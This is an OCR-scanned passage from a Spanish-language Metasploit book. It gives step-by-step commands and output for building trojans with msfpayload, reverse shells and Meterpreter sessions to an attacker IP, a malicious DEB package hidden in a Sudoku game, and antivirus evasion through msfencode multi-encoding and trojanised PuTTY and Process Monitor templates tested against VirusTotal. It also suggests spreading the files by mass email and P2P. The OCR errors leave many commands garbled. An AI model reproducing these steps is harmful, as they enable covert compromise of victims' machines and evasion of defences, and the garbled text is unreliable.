recomendacion, como la distribucién' de este archivo, pueden ocasionar un debate amplio en el
fmbito de la seguridad informatica, acerca de la mejor manera de realizar dichas acciones, Como
se ha mencionado en este libro, una via podria ser la utilizacion de envio masivo de e-mails en una
empresa,

A conlinuacion se enumeran las opciones a tener en cuenta para la creacién del ejecutable, o como
se ha denominado en la prueba de concepto, la creacién de un troyano casero,

- Bl payload. Para la prueba de concepto se utiliza un Meterpreter, pero en algunos
ocasiones puede ser interesante utilizar otro payload que simplemenie ejecute cierta accién
en el sistema de manera silenciosa, por ejemplo windows/adduser. Si un atacante dispone de
acceso i la méquina victima, en un posible ataque dirigido, se podria utilizar dicho payload
para lograr acceso fisico como administraqor de la maquina.

= Al ser un payload de conexion inversa, las variables que deben ser configuradas en el
maédulo del payload son LHOST y LPORT. La variable LHOST representa la direccion [P
de la méquina del atacante, dénde se recibiran las conexiones de Meterpreter mediante Iy

. utilizacién de la herramienta msfeli. Por otro lado la variable LPORT representa el puerio de
la méquina del atacante donde se escucharan las sesiones inversas,

root@reot:-# msfpayload windows/meterpreter/reverse_fcp LHOST=192.168.1.39 LPORT=4444 X > troyan
0.exe

Created by msfpayload {http://wa.metasploit, com).

Bayload: windows/meterpréter/reverse_tcp

I.'_ength: 290

Options: {"LHOST*=>"192.156.1.39", "LPORT =>"4444"1

Fig 5.20: Creacion de un ejecutable con el payload Meterpreter,

Tras la creacion del ejecutable, éste se debe distribuir entre log objetivos, si el ataque fuera
dirigido. La imaginacidn es uno de los puntos a tener en cuenta en este aspecto. Como se menciond
anteriormente una de las vias posibles serfa el envio masivo de mails contra una organizacion, Si el
ataque [uera no dirigido, las posibles vias de distribucién aumentan, coimo por ejemplo compartir el
archivo en redes P2P, subirlo a servidores de descarga'y enlazarlo en foros, etcétera.

Ahora hay que esperar a recibir las sesiones inversas de lag mAquinas victimas. Para ello se utiliza la
herramienta msfcli mediante la configuracién del médulo exploit/multifhandler. La configuracién de
este modulo es realmente sencilla y ya se ha explicado en el presente libro, Hay que fener en cuenta
que el payload debe coincidir con el configurado en el ejecutable. '
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root@root:~# msfcli exploit/mitti/handler LHOST=192,168.1.39 LPORT=4444 PAYLOAD:windows/meterpre‘
ter/raverse tep E
[¥] Please wait while we load the module tree...
I { A
[ R I A \
VEOHL e
/ AN AV R AV

—

=[ metasploit v3.7.0-release [core:3.7 api:l.8)
+ -- --=[ 684 exploits - 355 auxiliary
+ -~ ~-=[ 217 payloads - 27 encoders - 8 nops

LHOST => 192.168.1.39 ‘
LPORT => 4444

PAYLOAD => windows/meterpreter/reverse tcp

[*} Started reverse handler on 192.168.1.39:4444
{*] Starting the payload handler...

Fig 5.21: A la escucha de sesiones inversas con msfeli,

Cuando las victimas ejecuten el binario en sus sistemas Windows el payload devolverd el controé
de la méquina en la direccion IP dénde se ha configurado msfeli. En este momento el atacan(
tienie control tofal sobre las acciones que se pueden realizar en dicha maquina. Hay que recordag
que las posibilidades que ofrece Meterpreter son infinitas y pueden ser consulfadas en su capitulg
coirespondiente.

=[ metasploit v.7.9-release icm‘e:f&."z’ api:1.0°
+ -~ --=[ 684 exploitls - 355 auxiliary
4w - w-m=[ 217 payloads - 27 encoders - 8 nops

‘LHOST => 192.168,1.39

(LPORT => 4444

PAYLOAD => windows/meterpreter/reverse_tep

{1+ Started reverse handler on 192.168.1.39:4444

‘I*1 Starting the payload handler...

H{*] Sending stage (749056 bytes) to 192.168.1.38

;[*] Heterpreter session 1 opened (187.168.1.39:4444 -> 192,168.1.38:1057) at 2012-08-21 15:21:83
. -8480

metecpreter > pwd
[Li\Archivos de programa\Mozilla Firefox
meterpreter > §

Fig 5.22: Obtencion del controf total de una maquina victima,

Para otros sistemas operativos como GNU/Limix v OSX también se pueden crear ejecutables de'
manera sencilla e intuitiva con msfpayload. EI proceso es sencillo se indica un payload para estos
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sistemas operativos, como por ejemplo linux/x86/shell/veverse_tcp u osx/x86/skell_bind tep, y
autométicamente el ejecutable que se crea con msfpayload est preparado para esle tipo de sistemas
operativos.

root@root:~# msfpayload linux/x86/shell/reverse tcp lhost=192,168.1.39 lport=4444 X > linux
Created by msfpayload (http://www.metasploit.com). ’
Payload: linux/xB6/shell/reverse tcp

Length: 30 - .

Options; {*lhost"=»"192.168.1.39", "lporit=»"4444"}

root@root.-# 1s

Nesktop  linux

rogt@reot:~# chmod +x linux

rooi@reot:-# . /linux

[fig 5.23; Generacion de archivo binario para sistemas GNU/inux.

En el ejemplo del binario para sistemas Linux se puede visualizar como se ha utilizado la misina
maquina para realizar la explotacién. Como se ha hecho en el resto de ejemplos tendria mayor
sentido si se realiza sobre maquinas remotas sobre las que no se dispone de control. -

payload =» linux/x86/shell/reverse tcp

lhost = 192.168.1.39

tport = 4444

{*] Started reverse handler on 192.168.1,39:4444

1*¥] Starting the paylcad handler...

[*] Sending stage (36 bytes) to 192.168.1,3% - ,

{*] Command shell session 1 opened (192.168.1.39:4444 -» 192.168.1.39:52318) at 2012-08-21 21:48
:35 -0460

1s
Desktop
linux
whoami
root

Fig 5.24: Obtencién de una shell inversa de un sislema operativo GNU/Linux.

PoC: Creacién de un paquete DEB malicioso
Bn esta prueba de concepto se creara un fichero DEB malicioso. Hay que tener en cuenta que
se ejecutard lanto la aplicacion real como el payload que se inyecte en el paquete, por lo que la
aplicacién real debe ser alguna que llame la atencion de la victima.

Este método cs criticado en Internet por los mayores defensores de sistemas operativos GNU/Linux,
ya que indican que el paquete no estd firmado ni verificado y que los usuarios no lo ejecutarian. La
realidad no es asi, los usuarios también descargan archives de Internet y ejecutan cualquier tipo de
software con origenes desconocidos. Es por esta razén que este método puede funcionar en gran
cantidad de casos ya que la distribucion del paquete es ciave.

En primer lugar hay que disponer de un paquete DEB real que albergard en su interior el payload.
Para obtener el archivo DEB se ejecutard la siguiente instruccion api-ger ~download-only instail
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<nombre paquele>. Para esta prueba de concepto el paquete elegido es el juego del Sudoku, ef cual
es una simple aplicacion de linea de comandos que permitiré a la victima disponer de dicho juego.

Una vez s¢ ha obtenido el paquete DEB se procede a crear la estructura de directorios para el paquete
DEB manipulado o malicioso. Se llevarin a cabo las siguientes instrucciones: :
roolf@root :~#/juegoFalso/sudokut mv /var/ cache/ apt/ archives/ sudoku 1.9, 1-3

amct64 . deb . N )
rootlroot:~i/jveqnFalso/sudokud dpkg -x sudoku_1.0.1-3 amdé4.deb makeingiall
rootlroot:-§ /juegclalso/sudokul mkdir makeinstall/DEBIAN

Ut vez creada {2 esiructura de direciorios se deben crear los ficheros de conirol da! paguetc DEB.
Estos ficheros se deben ubicar en el directorio DEBLAN. E primer fichero gue s& debe crear tiene
por nombre contiol. l

rackage: sudoluFalso

VYersion: 0.3

Section: Games and Amusement

Priority: optional

Architecture: 1386

Maintainer: Ubuntu MOTU Developers (ubuntu—motu@lists.ubuntu.com)

Description: Un juego de sudoku

El fichero postinst también debe ser creado en el directorio DEBJAN y contiene las acciones que se
ejecutaran al ejecutar el paquete DEB. Para la prueba de concepto se ulilizard el siguiente esqueleto.
Hay que tener en cuenta que una vez que se crea esle archivo, es recomendable asignarle 1os permisos
755 al fichero, ya que debe ser ejecutado. :

#1/bin/sh .
chmod 2755 /usr/games/sudokuFalso && /usr/games/sudokuFalso- &

Una vez que se dispone de los archivos de control del paguete DEB creados Y prepatados se debe
crear el binario que contiene el payload. Bl payload escogido para esta prueba de concepto es /inux/
x80/shell/reverse_icp.

Para crear ef archivo binario se debe gjecutar la siguiente instruccion:

msfpavioad /i/zux/x86/shell/féverse_tcp LHOST=192.168.1.39 LPORT=4444 X > rootluegolulsol
sudoku/makeinstall/usr/games/sudokuFalso.

Se puede observar que la ruta coincide con /usr/games/sudokuFalso del archivo postings. Se puede
entender de manera sencilla que cuando la victima ejecute el paquete DEB y el archivo postinst sea
gjecutado éste referencia a la ruta donde realmente se encuentra el payload en el interior del paquete
DEB, provocando la ejecucion del codigo malicioso. Es altamente interesante probar distintas
configuraciones del archivo postinst para comprobar su potencial y entender todo lo que se puede
ejecutar y lograr con un pensamiento maligno.

Por ditimo queda construir el paquete DEB malicioso, para ello se utiliza la heiramienta dplg-
deb. La siguiente instruccién debe ser ejecutada para construir el paquete dpig-deb —byiid /root/
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Juegolialso/sudoku/makeinstall. Tras visualizar la correcta salida de esta operativa se recomienda
cambiar el nombre del paquete DEB para que pase desapercibido.

Anles de distribuir el paquete DEB se debe configurar, por ejemplo mediante la herramienta msfeli,
el médulo exploit/multithandler para recibir la shell inversa. Cuando la victima ejecute el paquete
DEB, estaia proporcionando al atacante una shell para gestionar y manipular la maquina remota.

vablogpabloe-virtualBox:~§ sude dpkg -i sudokuFalso.deb

{Leyendo 1a base de datos ... 127951 ficheros o directorios instalados actualmente.)
Preparando para reemplazar sudokufalso 8.3 (usando sudokuFalso.deb) ...
Desempaquetande el reemplazo de sudokufalso ...

Configurande sudokufalsoe (9.3) ...

Procesande disparadores para man-db ..

Fig 5.25: Ejecucién del paquete DEB en una distribucidn [,

Tras lu ejecucién de una victima se recibira 1a sesion inversa y ef control de la maquina remota. Lo
interesante es que la victima no rota nada extrafio, ya que se puede hacer que la aplicacién originai
se ejecute, por lo que aparentemente todo es correcto. '

=[ metasploit v3.7.0-release [core:3.7 api:1.6}
+ -- --=] 684 exploits - 35% auxiliary
+ -- «-=s[ 217 payloads - 27 encoders - 8 nops

lhost => 192.165.1.39

lport => 4444

payload => linux/xas/sheulreverse_tcp

{*] Started reverse handler on 192.168.1.39:4444

i¥] starting the payload handler...

[*] Sending stage (36 bytes} to 192.168.1.37

[*] Command shell session 1 opened (192.168.1.39:4444 -> 192,158.1.37:51597) at
2012-88-22 19:12:02 -0488

thoami

root

hostname
pablo-VirtualBox
ifconfig

Fig 5.26: Obtencidn de una shefl inversa en una maquina Ubunfu a través de un DEB malicioso.

-

Payloads Vs Antivirus

Hxiste gran cantidad de informacién que trata la delicada relacion entre los payload y los antivirus.
La gran mayorfa de antivirus detectan a gran cantidad de payload simplemente por la firma Gue
proporciona la generacién de archivos con este tipo de cddigo. En la prueba de concepto realizada
anteriormente se ha podido estudiar fa creacién de un troyano casero a través de la herramienia
msfpavioad.

Esta prueba de concepto llevada al mundo real posiblemente no darfa los resultados esperados ya que
algtn antivirus podria detectar facilmente la amenaza. Como ejemplo de lo emunciado anteriormente
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se presenta el sitio web http./fwww virustotal com en el que se puede comprobar si el ejecuﬁ\ble
creado anteriormente es detectado y ademds qué antivirus o detectan. Se puede entender que dat
este uso & un sitio como Virus Total no es el mas licito, pero hay que tener en cuenta que los atacantes
se aprovechardn de este tipo de herramientas para conocer el grado de eficacia de su. ejecutable
frente a los sistemas de proteccion. ;

Bvirustotal

SHAZAG: 5hB6bdTad 400dBMIcE63aR57 14bBIU9B5075c52BI052decd0eB2e7 OLEL US4
Iombre: troyano.exe
Delecciones: 33742

Fecha de andlisis:  2012.08-21 19:24:38 UTC { hace 1 minuto }

Y
Hés deleltes

Tig 5.27: Resultados de! andlisis de un ejecutable con n pavioad

£n la imagen se ha podido observar como la gran mayoria de los sistemas antivirys detectan la
generacion del ejecutable por defecto, con un payload Meterpreter de tipo reverse fcp y sin ninguna
{¢enica de evasion aplicada. En el siguiente apartado se estudiardn métodos y técnicas para la posible

" evasidn de la deteccion de los antivirus,

.-

4. Msfencode: Evadir la deteccién

Msfencode es una de esas herramientas que no llaman la atencién en comparacién cop msfpayload
o msfeli. Pero al conocer de forma detallada lag funcionalidades y posibilidades que aporta, el

_pensamiento de més dc un lector cambiar.

Msfencode es una herramienta cuyo fin es evitar que los antivirus detecten los ejecutables y payleads
que se han ido generando en los apartados anteriores. El fin es claro, evadir el sistema de proteccién
ya que como se ha visio anteriormente la mayoria de los antivirus detectan ficilmente y por firma
los ejecutables anteriores como amenazas.

Usta herramienta dispone de ciertos conceptos que deben ser explicados brevemente antes de entyar
en materia, como por ejemplo ;Qué es un encoder o codificacion? ;Por qué iterar ung codificacién?
¢Existen algoritmos de codificacion mejores que otros? Estas preguntas se iran respondiendo a lo
largo de este apartado. Para las pruebas de concepto y para poder comprobar que la herramienta estd

. mejorando los resultados frente a los antivirus se utilizard, como anteriormente se ha utilizado, el

sitio web htip:/fwww.virustotal.com.
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Codificacion con msfencode _

Una de las mejores y mds sencillas maneras de evitar ser detectado, o al menos intentarlo, por un
sislema antivirus es utilizar msfencode para codificar el payload. En la teoria msfencode se encarga
de modificar la apatiencia del codigo del payload para que el antivirus no lo detecte. Al modificar
apariencia del codigo la firma de éste cambiard.

Msfencode genera un nuevo ejecutable o archivo binario, el cual cuando la victima lo ejecuie se
decodificara en memoria y se ejecutard el archivo real. La idea es sencilla, primero se codifica para
evitar la deteccion de los antivirus, para después cuando el archivo entre en memoria decodificar y
obtener el original y las funcionalidades de éste.

Los codificadores o encoders disponibles en msfencode se pueden obtener ejecutando la siguiente
instruccidn msfencode 1. Hay que lener en cuenta ue cada arquitectura o ptataforma dispone de unos
codificadores explicitos para ella, es decit, un encoder para una arquitectura x86 no es valido para
una arquitectura PowerPC. Ademds, hay que tener en cuenta el Rank que dispone cada codificador,
ya que indica la valoracion que obtienen y el posible éxito que puede tener la codificacion.

root@root:~# msfencode -1

Framework Encoders

Name Rank Description
cmd/generic_sh good Generic shell variable Substitution Command Encoder
cmd/ifs low Generic ${IFS} Substitution Command Encoder
emd/printf_php_mq good printf{1) via PHP magic_quotes Utility Command Encoder
generic/none normat The “none* Encoder
mipsbe/longxor normal - XOR Encoder
mipsle/longxor normat XOR Encoder
php/base6d great PHP Base64 encoder

1 ppc/longxor normal PPC LongXOR Encoder
ppc/longxor_tag normal PPC LongXOR Encoder
sparc/longxor_tag normal SPARC DWORD XOR Encoder
x64/xor normal XOR Encoder
x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder
x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder
x86/avoid_utf8 tolower manual Aveid UTFB/tolower
x86/callq_dword_xor normat Call+4 Dword XOR Encoder
%86/ context_cpuid manual CPUID-based Context Keyed Payload Encoder
x86/context_stat manual stat{2)-based Context Keyed Payload Encoder
x86/context_time manual time(2)-based Context Keyed Payload Encoder
x86/countdown normal Single-byte XOR Countdown Encoder
x86/fnsteny_mov normal variable-length Fnstenv/mov Dword XOR Encoder

Fig 5.28: Listado de codilicadores disponibles con msfencode.

Para obtener ayuda sobre el uso de la herramienta se dispone del parémetro —h, el cual proporciona
informacion sobre distintos usos y funcionalidades de la herramienta.
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PoC: Creacién de un ejecutable codificado

En egta primera prueba de concepto con msfencode se realizard una codificacian simple y sc
estudiard la mejora frente a los antivirus. El encoder escogido para esta prucba de conceplo ;:q
x86/shikala_ga_nai, el cual es un codificador polimérfico. Su valoracién es la mds alta en of Rmz/l(
proporcionado por la herramienta, '\

En primer‘lugar se genera el ejecutable tal y como se harfa normalmente con la herramients
nisfpavioad y mediante una tuberia o pipe se enlaza con la herramienta msfencode. Hay que tener
en cuenta que ei modo de ejecucion de msfpayload que se utiliza es el'modo raw, ya quc- msfencode
se en?argm‘é de generar el ¢jecutable cuando reciba la salida de msfpayload. El pardmetro e indica
qué tipo de codificador se utilizara, mientras que el pardmetro —t indica el Lipo de archivo que se
debe generar.

rout@root:-# msfpayload windows/meterpreter/reverse tcp Lhost=192.168.1.39 1port=

. . - =192.168.1. port=4444 R | msfenc
dg -€ x86/shikata_ga nai -t exe » archivotodificado.exg | nstence
{*] x86/shikata_ga nai succeeded with size 317 {iteration=1})

i'ig 5.29: Creacién de un ejecutable codificado con msfencode.

Se pflede comprobar que el archivo creado es realmente un ejecutable valido para sisteras Hindows
medfanpe el comando file, La siguiente instruccién file <archivoCodificado.exe> devolvera que e
archivo es PE32 executable for MS Windows. '

Por dltimo queda estudiar los resultados que proporciona Virus Total respecto a los antivirus del

mercado y el a}rf:hlvo codificado creado. Para ello, se procede a subir el archivo creado mediante
msfencode al sitio web htip:/fwww.virustotal.com.

virustotal

SHA256: 77115437 102779440206 a3b3dced04173at fdab0Gic?B91 271 B5e 51701
Mernbre: archivoCodificade.exe
Detecciones: 8142

Fecha de analisis:  2012:08-23 17:37,39 UTC ( hace 1 rinuto )

At
1443 detales

Fig 5.30: Obtencién de resullados de la codificacion simple en Vitus Total.

Enlaimagen se puede visualizar como 28 de 42 antivirus han detectado el ejeculable como malicioso,

Esto supone una mejora de S antivirus menos, que en la primera prueba que se realizé en la que no se

ughz.o la herramienta msfencode. A continuacidn se irén estudiando distintas téenicas para intentar
disminuir fa deteccion de los archivos generados.

'
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Codificacion multiple o

Normalmente las casas de antivirus estdn continuamente actualizando las bases de datos de firmas
para detectar el mayor nimero de aplicaciones maliciosas. La codificacion miltiple permite al
atacante iterar sobre el payload y realizar varias codificaciones. Con esta técnica se busca que las
detecciones estaticas de los antivirus disminuyan respecto a la técnica de simple codificacion.

Ll encoder x86/shikata_ga_nai, el cual es polimérfico, permite generar distintos payloads en cada
codificacion. Es decir, es un punio a favor en la generacion de firmas distintas en cada iteracién del
encoder.

La téenica de miltiple codificacion permite utilizar distintos encoders encadenados, es decir, la
salida de uno serd la entrada del siguiente. Es recomendable utilizar un alto ntimero de iteraciones y
distintos encoders para intentar evadir a los antivirus.

PoC: Creacion de un ejecutable multicodificado

En esta prueba de concepto se utilizara la técnica de miltiple codificacion para estudiar ¢l nimero
de antivirus que se consiguen evadir. Los tipos de codificadores que se utilizardn son x86/shikata_
ga_nai, x86/context_stal y x86/countdown. Estos codificadores devolverin un ejecutable el cual serd
denominado archivoMultiCodificado.exe.

oot@root:~¥ msfpayload windows/meterpreter/reverse_tcp Lhost=192,168.1.39 lport=4444 R | msfenco
le - xv6/shikata_ga mai -c & -t raw | msfencode -e x86/context stat -¢ 3 -t raw | msfencode -e x
167countdown -¢ 4 -t raw | msfencode -e x86/shikata_ga_nai -¢ 6 -t exe -0 archivoMultiCodificade.
Exe

{*] x86/context_stat succeeded with size 62 {iteration=1)

[+

x86/context_stat succeeded with size 124 (iteration=2)

&

x86/context_stat succeeded with size 186 (iteration=3)

L3

xB6/countdown succeeded with size 203 {iteration=1j

[ *

x86/countdown succeeded with size 220 ({teration=2)

[ ¥

xah/countdown succeeded with size 237 (iteration=3)

[ ¥

x86/countdown succeeded with size 254 (iteration=4)

i %

x86/shikata_ga_nai succeeded with size 281 {iteration=1)

¥

xB6/shikata_ga nai succeeded with size 388 (iteration=2)
v

[d

xB6/shikata ga_nai succeeded with size 335 (iteration=3j

x86/shikata_ga_nel succeeded with size 362 {iteration=4)

E*

x86/shikata_ga_nal succeeded with size 389 ({iteration=5)

[+

x86/shikata_ga nai succeeded with size 416 (iteration=6}

Fig 5.31: Obtencidn de ejecutable con la técnica de codificacién miltiple.

Ln primer lugar se crea mediante msfpayload el flujo en modo raw de un pavload windows/
meterpreter/reverse_tcp. Este flujo se pasa a la herramienta msfencode el cual aplicara el encoder
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x86/shikata_ga_nai. Mediante la utilizacion del pardmetro —¢ se indica el nimero de iteracione
del cadificador que se deben realizar, en <l ejemplo se utilizan 6. Con el pardmetro —t se indica
que la salida de msfencode sera un flujo de bytes y no un formato ejecutable. La salida se pasa def
nuevo a la herramienta msfencode que en segunda instancia utiliza el encoder x86/context sial con 3
iteraciones. La salida se envia otra vez a msfencode, en este caso con el codificador x86/countdlown
con 4 iteraciones. Por {itimo, la salida se pasa de nuevo a msfencode, para que otra vez se utiliced
el encoder x86/shikate_ga_nai con 6 iteraciones. En la Gltima ejecucién de msfencode se utiliza e
parametro —t con exe para indicar que se debe aplicar salida en formato PE32 executable, es decir,
un archivo ejecatable final para un sistema Windows.

A continuacién, hay que estudiar s el niimero de antivirus que detectan el archivo ha mejorado o no.
Sc procede a subir el archivo a Virus Total y comprobar el nimero de antivirus que lo detectan y si
se han mejorado fos resultados anteriores. En este caso, no se ha obtenido mejora, ya que s obtiene,
précticamente el mismo resultado.

Mvirustotal

SHA56: Be14c0b02219ede304135241115952b6 del? 90303756 18c24 eddbbalb943392

) 2 Nombre: archivoMultiCodificado. exe
]
Detecciones: 29/42

Fecha de andlisis:  2012-08-24 00:08:08 UTC ( hace 1 minuto )

Iigs detales

Fig 5.32: Obtencion de resultados en virus total de 1 téenica de codificacian multiple.

En esta técnica entra en juego la utilizacion de unos encoders u otros y fa combinacién de éstos. Bs

altamente recomendahlc utilizar distintas combinaciones, con distintas iteraciones e ir comprobando
los resultados en Virus Total.

Teoria sobre ejecutables personalizados 'y sigilosos

Esta téenica va un paso adelante y se basa en las plantillas para crear los ejecutables. Por defecto,
Melasploit almacena en la ruta Ipentestiexploits/framework3/data/templates las plantilias o
esqueletos para la creacion de ejecutables, DLLs o binarios de sistemas basados en Unix.

La técnica que se estudiard ahora permite al atacante utilizar plantillas personalizadas, con el
objetivo de evadir las firmas de las plantillas por defecto, las cuales normalmente estan registradas
por los antivirus. Lo que realmente se busca es utilizar un ejecutable cualquier, por efemplo vélido
en sistemas Windows para que los antivirus no lo detecten como amenaza, Ademas, se codificard
mediante ef uso de algin encoder para intentar mejorar la posible evasion,
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Para poder utilizar dicha técnica se dispone del parimetro ~x en msfencode. A este pardmetro se le
debe indicar qué ejecutable se quiere usar para llevar a cabo la creacion del elemento malicioso que
contendré el payload codificado. Por otro lado, y como una evolucion de la técnica de las plantitlas
personalizadas, se dispone de la técnica de los ejecutables sigilosos. Esta técnica permite lanzar un
thread que serd el que ejecute realmente el payload, mientras que el proceso principal serd la propia
aplicacién real o como se ha mencionado anteriormente la plantilla personalizada.

ista técnica dispone de algunos inconvenientes ya que no funciona con todos los ejecutables y
se debe preparar y realizar un estudio previo antes de ejecutar el archivo malicioso conlra una
posible victima. Para poder utilizar dicha técnica se dispore del parametro -k en msfencode. Es
un pardmelro de tipo switch, es decir simplemente indicando —k, msfencode conoce la accion que
debe realizar. Se podra visualizar un ejemplo sencillo y claro en el apartado de las pruebas de
concepto que implementan dichas (écnicas. La (Ecnica sigilosa debe ser puesta en prueba siempre
con aplicaciones que dispongan de interfaz grafica para que fa victima no sospeche de una ejecucion
exlrafia en su maquina.

PoC: Creacion de un ejecutable personalizado

En la siguiente prueba de concepto se utilizard un ejecutable de Windows, el cual se utilizara como
plantilia. La herramienta escogida para tal fin es la aplicacion Process Monitor de Sysinternals, la
cual puede ser descargada desde la siguiente URL hitp://echnet.microsoft.com/es-es/sysinternals/
bb896645.aspx. El archivo que se generara se denominard procmonCodificado.exe. Bn un sistema
Windows se visualizara con el mismo icono y con la misma informacion que el archivo original.

procinonCadificado
Process ionitor
Sysinternals - wyn.sysinterfia...,

Fig 5.33: leono ¢ informacion sobre el gjecutable malicioso.

- Para levar a cabo este proceso, de nuevo se utilizan conjuntamentle las herramientas nw/j;ayload
y msfencode. La salida de msfencode con payload windows/melerpreter/reverse_tcp se pasa a la
herramienta msfencode que utiliza el encoder x86/shikata_ga_naicon’5 iteraciones. Con el parametro
~x se especifica la ruta donde esté el ejecutable real de Process Monitor. Por iltimo, se indica que
tipo de archivo se esté generando y la ruta donde se albergard el nuevo archivo ejecutable malicioso.

roat@root:~# msfpayload windows/meterpreter/reverse_tcp Lhost=192.168.1.38 lport=4444 R | msfenco
e -e x86/shikata_ga_nai -x $HOME/Procmon.exe -1 exe -C 5 -0 procmonCodificado.exe

[*] x86/shikata_ga_nai succeeded with size 317 {iteration=1)

[:it
[*
[*
[*

—

x86/shikata_ga_nai succeeded with size 344 {iteration=2)

—_—

x86/shikata ga_nai succeeded with size 371 {iteration=3)

[y

x86/shikata_ga_nai succeeded with size 398 (iteration=4)

—

x86/shikata_ga_nai succeeded with size 425 (iteration=5)

Fig 5.34: Creacién de ejecutable mediante el uso de la técnica de plantitla personalizada.
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Una vez creado el ejecutable y como en las pruebas anteriores se procede a subir el archivo a
Virus Total y comprobar cuantos motores antivirus detectan el ejecutable. El objetivo es conseguir
disminuir el niimero de antivirus que detecten el archivo como malicioso.

mvirustotal

SHAZEG: - 92748cebl6a70367 48adr98da933bact 11b5bBachce3eb013e0360cB388e7 3
Norrtbre: procmonCodific ade. exe
Delecciones: 23142

Fecha de andlisis.  2012-08-24 01:57:35 UTC ( hace 1 minuts )

&
Y

hidis delafios

Fig 5.35: Obtencion de resultados del ejecutable con plantitia en Virus Total.

Como se puede visualizar en los resultados, se ha conseguido mejorar la cifia de antivirus que no
detectan el archivo como malicioso. Y se ha disminuido considerablemente la cifra respecto a la
primera prueba que se realizé en la que no se utilizaba ningin encoder. Respecto a aquella primera
prueba se ha conseguido evadir 10 antivirus. Habrfa que seguir realizando ensayos y combinaciones
para intentar conseguir rebajar las cifras. En este caso la paciencia es un factor [undamental asi como
disponer de herramientas en Internet como Vitus Total para ir probando las distintas configuraciones.

PoC: Creacién de un ejecutable personalizado y sigiloso

En esta prueba de conceplo se utilizaré una plantilla personalizada, la cual ejecutard un thread donde
realmente se ejecutard el payload. La herramienta que se utilizara dispone de interfaz gralica para
evilar que la victima sospeche que algo exlrafio ocurre en su equipo. La idea es que la aplicacion
real se ejecule en primer plano, mientras que un thread ejecute el payload en la maquina viclima.

Al crear el ejecutable, éste dispondra del icono original de la herramienta Pusy, la cual se utilizard
como plantitla en este caso. Ademds, se muestra la version e informacion real de dicha aplicacion.

puttyCodificado
55, Telnet and Riogin client
Simon Tatham

Descripcién; SSH, Telnet and Rlogin client
Organizacién: Simon Tatham

version del archivo: 0.62.0.0

Fecha de creacion; 24/08/2012 42
Tamafio: 476 KB

Fig 5.36: Informacion del ejeculable malicioso.

Para crear dicho ejecutable se utilizaran de nuevo fas herramientas msfpayload y msjencode enlazadas
otra vez por un pipe. Msfpayload de nuevo wtilizara el payload windows/meterpreter/reverse_tcp,
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mientras que msfencode wtilizara el encoder x86/shikata_ga_nai con S iteraciones. Como novedad
hay que fijarse que se aplica el parmetro —k para indicar que el payload debe ser invocado en un
thread en el main. De este modo se consigue que en primer plano se ejecute la aplicacion gratica,
mientras que en segundo'plano se ejecuta el payload. Esto ayuda y mucho a que la victima sienta que
no hay nada exirafio en fa ejecucion de la aplicacion. Normalmente, dicha aplicacion se cerrard a los
pocos segundos, pero se ha conseguido que la victima vea todo de manera normal.

root@root:~# msfpayload windows/meterpreter/reverse tep lhost=192.168.1.39 lport=4444 R | msfenco
de -t exe -x /rovt/putty.exe -e x86/shikata_ga nai -k -¢ 5 -0 puttyCodificado.exe

I*] x86/shikata_ga nai succeeded with size 317 {iteration=1)

[*} x86/shikata_ga_nai succeeded with size 344 ({iteration=2)

{*] x86/shikata_ga_nai succeeded with size 371 (iteration=3)

[*] x86/shikata_ga_nai succeeded with size 398 (iteration=4)

[+] x86/shikata_ga_nai succeeded with size 425 (iteration=5)

Fig 5.37: Creacion del ejecutable con plantilla personalizada y sigiloso,
:

Tras crear el archivo y codificarlo se distribuye sobre las victimas. Cuando éstas lo ejeculen
podrén visualizar correctamente la aplicacion Putty funcionando, o aparentemente ejecutandose
correctamente. Bn la imagen se puede visualizar como al ejecutar el archivo se obtiene la pantalla
principul de dicha aplicacion.
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. . . ‘
Tras ejecutar la aplicacién maliciosa, fa victima visualiza correctamente dicha herramienta, pero en

segundo plano se ha lanzado un thread el cual estd ejecutando el payload. Para dewiostrar esto, se ha‘
preparado, mediante e] uso de fa herramienta msfeli, el exploit multithandler con el fin de recibir lasf
sesiones inversas de Meterpreter que producen las ejecuciones del archivo maliciosc. En Ia imagen
se puede visualizar como se obtiene una sesién de Meterpreter, Jo cual otorga el control remoto de‘
la maquina victima sin levantar sospecha alguna.

=[ metasploit v3.7.0-release [core:3.7 api:1.0}
k-- --=[ 684 exploits - 355 auxiliary
+ -- --=[ 217 payloads - 27 encoders - 8 nops

Lhost => 192.168.1.39
Lport => 4444
 payload = windows/meterpreter/reverse_tep
(*] Started reverse handler on 192.168.1.39:4444
[*) Starting the payload handler...
[*} Sending stage (749056 bytes) to 192.168.1.38

[*] Meterpreter session 1 opened (192.168.1.39:4444 -» 182.168.1.38:1177) at 2012-08-23 01:42:07
-8400

kwetgrg[etgf >

Fig 5.39: Obtencion de una sesién inversa de Meterpreter mediante ejecutable sigiloso.

Una vez que se ha demostrado cémo se obtiene una sesién de Meterpreter, mientras que el usuario
victima visvaliza la pantalla principal de la aplicacion Putty, y que ademds, su solucién antivirus
no detecta tal archivo como malicioso, llega ef momento de estudiar los resultados de los motores
antivirus. Para ello, se procede a la subida del archivo a Virus Total y se analizan los resultados.

Bvirustotal

SHAZSG: 7208293613451 defd70c 1649¢c91782cBh1 2339931 1 16b9961516cedn356a
Nombre: pullyCodificado.exe
Detecciones: 32742

Fecha de andlisis:  2012.08-24 02:42:51 UTC ( hace 1 minuto )

Iés detales

Fig 5.40: Resultados presentados por virus total para el archive puttyCodificado. exe.

Los resultados reflejan, en parte, un retroceso en la evasion de algunos antivirus. Hay que tener en
cuenta que se esta dando prioridad al aspecto del archivo, antes que a la eficiencia para evadir una

-solucién antivirus, Los resultados obtenidos se pueden comparar a los conseguidos, practicamente,

sin disponer de codificacién, ya que la mejora ha sido minima.

Hay que tener en cuenta que la técnica de la plantilla personalizada sin ejecucion del payload en un
thread es més eficiente para evadir a los antivirus. Utilizando dicha técnica con el mismo ejecutable,
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es decir la herramienta puty, pero sin el thread sigiloso se obtienen menos detecciones. Si s puede
verificar el motor antivirus de que disponen las victimas se puede comprobar en Virus Total si serfan
detectados 0 no, y en ese caso se puede elegir una u oira técnica.

5. Misfvenom: Payload y evasion

La aplicacion msfvenom es una herramienta que aparecié no hace demasiado tiempo en el framework
de Metasploit. Esta herramienta no viene por defecto, por ejemplo, en la version de BackTrack 5. Se
puede conseguir, por ¢jemplo, en la version BackTrack 5 R3.

Ll objetivo de esta herramienta es unir las funcionalidades de nisfpavioad v msfencode en una sola
aplicacién. Una mejora que los usuarios no tienen en cuenta en la mayoria de las ocasiones es
